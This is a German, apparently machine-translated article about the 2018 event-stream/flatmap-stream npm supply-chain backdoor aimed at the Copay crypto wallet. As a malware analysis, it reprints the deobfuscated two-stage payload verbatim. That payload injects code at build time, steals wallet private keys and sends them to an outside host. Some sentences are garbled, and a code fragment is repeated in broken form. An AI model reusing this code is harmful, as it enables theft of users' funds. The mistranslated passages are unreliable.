Wöchentlich werden über
1,9 Millionen Exemplare der
EventStream- Bibliothek aus dem NPM-Repository heruntergeladen. Es wird in vielen großen Projekten für die einfache und bequeme Arbeit mit
Streams in Node.JS verwendet. Diese Bibliothek verarbeitet unter anderem auch Streams in der beliebten Copay-Krypto-Brieftasche (dazu später mehr).
Am 21. November 2018 passierte etwas Seltsames. Der GitHub-Benutzer @FallingSnow
berichtete, dass eine der Event-Stream-Abhängigkeiten bösartigen Code versteckt hat, der tatsächlich eine Hintertür unbekannter Funktionalität darstellt.
Die Benutzer begannen herauszufinden, woher dieser Schadcode stammte. Dies ist eine sehr interessante und lehrreiche Geschichte. Leider kann dies langfristige Konsequenzen für viele Open-Source-Projekte haben.
Die Untersuchung hat also begonnen. Dank der Historie der Commits auf GitHub wurde sofort klar, dass der böswillige Benutzer von einem anderen Benutzer
@ right9ctrl erstellt wurde,
dem die Rechte des Betreuers für den Ereignisstrom
gewährt wurden . Er hat eine Reihe von normalen Verpflichtungen auf seinem Konto, und der Projektautor Dominic Carr (
@dominictarr ) hat ihm die Rechte des Betreuers übertragen.
Warum hat der Autor die Rechte des Betreuers auf einen völlig Fremden übertragen? Dominic selbst sagt, dass er eine Last ist, sich an dem Projekt zu beteiligen. Siehe die
ausführliche Begründung für diesen Vorfall: Der Autor schreibt, dass er das Projekt im Allgemeinen zum Vergnügen erstellt hat und nicht glaubte, dass seine Unterstützung so viel Zeit in Anspruch nehmen würde, und dass die Bibliothek selbst an so vielen ernsthaften Programmen beteiligt war. Er befreit sich nicht von der Schuld an dem Vorfall, sagt aber, dass das Open-Source-Projekt nicht sein „Eigentum“ ist, sondern gemeinfrei, sodass auch alle anderen für das, was passiert ist, verantwortlich sind. Warum hat schließlich keiner der normalen Menschen die Rechte des Betreuers übernommen und die Commits geprüft?
Kehren wir zum erwähnten @ right9ctrl-Commit zurück. Der Trick ist, dass er den Backdoor-Code nicht direkt in die
event-stream
Bibliothek
eingefügt hat , sondern nur die Abhängigkeit von einem anderen
Flatmap-Stream- Paket
eingefügt hat . Bereits darin wurde unter dem Deckmantel eines Testdatensatzes (test / data.js) in einer der Variablen ein Schadcode mit folgendem Inhalt übertragen:
Nach dem „Dekodieren“ der Variablen
n
Bild klarer .
Erster Start module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} };
Zweite Stufe ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
\\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To n2wIDAQAB \\ \ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();
Nach der Deobfuscation wurde die Backdoor-Funktionalität
klar . Es stellte sich heraus, dass es nur erfolgreich funktioniert, wenn sich eine
Copay-Krypto-Brieftasche im System befindet (
copay-dash
Paket). In diesem Fall werden die privaten Geldbörsen der Benutzer kopiert und an IP-Adressen in Malaysia gesendet.
Copay-Entwickler führten eine Untersuchung durch und stellten
fest, dass die Hintertür abhängig von den Wallet-Versionen von 5.0.2 auf 5.1.0, dh auf die neueste Version, abfiel. Am 27. November 2018 veröffentlichten sie umgehend eine aktualisierte Version 5.2.0.
Der Angreifer @ right9ctrl fügte nicht nur eine Hintertür hinzu, sondern versuchte auch, seine Spuren zu verwischen. Drei Tage später entfernte er den Schadcode aus dem
flatmap-stream
Repository, aktualisierte die Versionsnummer und löschte den alten aus NPM. So gibt es in der neuesten Version des Pakets keine Hintertür, aber es wurden bereits Zehntausende von Autos verkauft, was das Ziel war. Diese Methode erwies sich als sehr erfolgreich, da die Hintertür nicht sofort entdeckt wurde.
Es ist noch nicht genau bekannt, wie viel Geld der Angreifer verdient hat, aber dieser Angriff zeigt die hauptsächliche Wirksamkeit der Methode zur Einführung von Hintertüren in Open-Source-Projekte. Offensichtlich ist dies nicht der letzte derartige Fall. Dies wird auch
von Dominic Carr, dem Autor der betroffenen EventStream-Bibliothek, geschrieben: „Es werden wahrscheinlich viele andere Module in Ihren Abhängigkeitsbäumen vorhanden sein, die jetzt eine Belastung für ihre Autoren darstellen.“ Diese „belastenden“ Module können wie in diesem Fall auf andere Betreuer übertragen werden Fall oder sogar für Geld verkauft. Da Abhängigkeiten in Hunderte und Tausende von Programmen eingebettet sind, können einige der kleinsten Module zu großen Problemen führen.
Warum überträgt der Autor des Programms die Kontrolle darüber an einen völlig Fremden?
"Wenn das keinen Spaß mehr macht, bekommt man buchstäblich nichts davon, das beliebte Paket zu unterstützen", sagt Dominic Carr. - Deshalb befinden wir uns jetzt in einem seltsamen Tal, in dem Sie eine Reihe von Abhängigkeiten haben, die von denen unterstützt werden, die das Interesse verloren haben oder sogar zu verblassen beginnen und die sie selbst nicht mehr benutzen . Sie können den Code problemlos freigeben, aber niemand möchte die Verantwortung für die Pflege dieses Codes teilen. "So wie ein Modul wie ein Teil eines digitalen Eigentums aussieht, ein Recht, das übertragen werden kann, aber Sie keinen Nutzen daraus ziehen, es zu besitzen, zum Beispiel die Fähigkeit, es zu verkaufen oder zu leasen, behalten Sie dennoch die Verantwortung."
Was ist der Ausweg aus dieser Situation für Benutzer freier Software? Carr glaubt, dass er entweder den Autor bezahlt oder sich aktiv am Projekt beteiligt.

